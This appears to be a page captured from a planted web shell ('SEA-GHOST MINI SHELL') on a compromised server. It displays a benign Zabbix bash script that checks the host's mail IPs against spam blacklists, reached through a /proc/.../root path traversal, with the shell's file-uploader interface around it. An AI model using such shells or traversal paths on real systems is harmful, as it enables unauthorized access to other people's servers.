[ SEA-GHOST MINI SHELL]

Path : /proc/2/task/2/cwd/proc/3/task/3/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/task/2/cwd/proc/3/task/3/root/var/lib/zabbix/rbl_check

#!/bin/bash

RBLSCAN="/var/lib/zabbix/rblscan_cpanel.sh"

ipList=$(cut -d : -f2 /etc/mailips)

while read -r ipAddress; do
  rblList=$($RBLSCAN $ipAddress | grep "^Listed.*" | awk '{printf $3 " "}')
  if [ ! -z "$rblList" ]; then
    statusText+="$ipAddress: $rblList; "
  fi
done <<< "$ipList"

if [ ! -z "$statusText" ];then
  echo "ERROR: $statusText" >/var/lib/zabbix/rbl_check.data
else
  echo "OK: There is no our IPs in most popular blacklists" >/var/lib/zabbix/rbl_check.data
fi


SEA-GHOST - SHELL CODING BY SEA-GHOST